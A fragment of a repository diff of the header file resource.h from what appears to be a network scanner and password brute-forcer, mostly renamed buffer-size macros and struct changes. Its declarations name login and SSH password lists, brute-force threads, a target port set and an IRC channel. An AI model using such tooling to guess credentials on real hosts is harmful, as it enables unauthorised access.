stt->doEmitionGreenFoundData("Done. Saved: " + QString::number(saved) + "; Alive: " + QString::number(found) + ".");
|
||||
stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found));
|
||||
|
33
resource.h
33
resource.h
@ -48,8 +48,10 @@ typedef int BOOL;
|
||||
#endif
|
||||
|
||||
#define MAX_ADDR_LEN 128
|
||||
#define TITLE_MAX_LENGTH 512
|
||||
#define RECV_MAX_LENGTH 350000
|
||||
#define TITLE_MAX_SIZE 512
|
||||
#define RECV_MAX_SIZE 350000
|
||||
#define REQUEST_MAX_SIZE 4096
|
||||
#define COOKIE_MAX_SIZE 1024
|
||||
#define SD_BOTH 2
|
||||
#define PORTSET "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21"
|
||||
#define IRC_CHAN "iskopasi_lab03"
|
||||
@ -134,12 +136,7 @@ extern int stopGlobalLog;
|
||||
extern int GlobalNegativeSize;
|
||||
extern char* thrds, top_level_domain[128];
|
||||
extern char startM[64], endM[64];
|
||||
struct workerStruct
|
||||
{
|
||||
int id;
|
||||
bool giveMeMore;
|
||||
char argv[MAX_ADDR_LEN];
|
||||
};
|
||||
|
||||
extern char **GlobalNegatives;
|
||||
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst;
|
||||
extern int MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass;
|
||||
@ -162,39 +159,36 @@ extern char gFirstDom[128];
|
||||
extern char gPorts[65536];
|
||||
extern int gMaxBrutingThreads;
|
||||
extern int OnLiner;
|
||||
|
||||
extern bool __savingBackUpFile;
|
||||
extern unsigned int importFileSize;
|
||||
extern int ipsstart[4], ipsend[4],
|
||||
startNum, endNum, overallPorts, flCounter, octet[4];
|
||||
extern unsigned char ipsstartfl[8192][4], ipsendfl[8192][4], starterIP[8192][4];
|
||||
//extern unsigned char ipsstartfl[8192][4], ipsendfl[8192][4], starterIP[8192][4];
|
||||
extern unsigned char **ipsstartfl, **ipsendfl, **starterIP;
|
||||
|
||||
typedef struct ST{
|
||||
char argv[2048];
|
||||
char argv[MAX_ADDR_LEN];
|
||||
}sockstruct;
|
||||
|
||||
struct conSTR{
|
||||
char *lowerBuff;
|
||||
int size;
|
||||
};
|
||||
|
||||
struct assClSt{
|
||||
const char *argv2;
|
||||
};
|
||||
|
||||
struct PathStr{
|
||||
char codepage[32];
|
||||
char headr[TITLE_MAX_LENGTH];
|
||||
char headr[TITLE_MAX_SIZE];
|
||||
char path[1024];
|
||||
int flag;
|
||||
int port;
|
||||
char ip[2048];
|
||||
char cookie[1024];
|
||||
char ip[MAX_ADDR_LEN];
|
||||
char cookie[COOKIE_MAX_SIZE];
|
||||
};
|
||||
|
||||
struct pl{
|
||||
int loginCounter;
|
||||
int passCounter;
|
||||
};
|
||||
|
||||
struct lopaStr{
|
||||
char login[128];
|
||||
char pass[32];
|
||||
@ -214,6 +208,7 @@ extern void _SaveBackupToFile();
|
||||
extern char* __cdecl strstri(char *_Str, const char *_SubStr);
|
||||
extern char* _getAttribute(char *str, char *attrib);
|
||||
extern char *_findFirstOcc(char *str, char *delim);
|
||||
extern int _SSHLobby(char *ip, int port, conSTR *CSTR);
|
||||
class Lexems
|
||||
{
|
||||
public:
|
||||
|
Loading…
Reference in New Issue
Block a user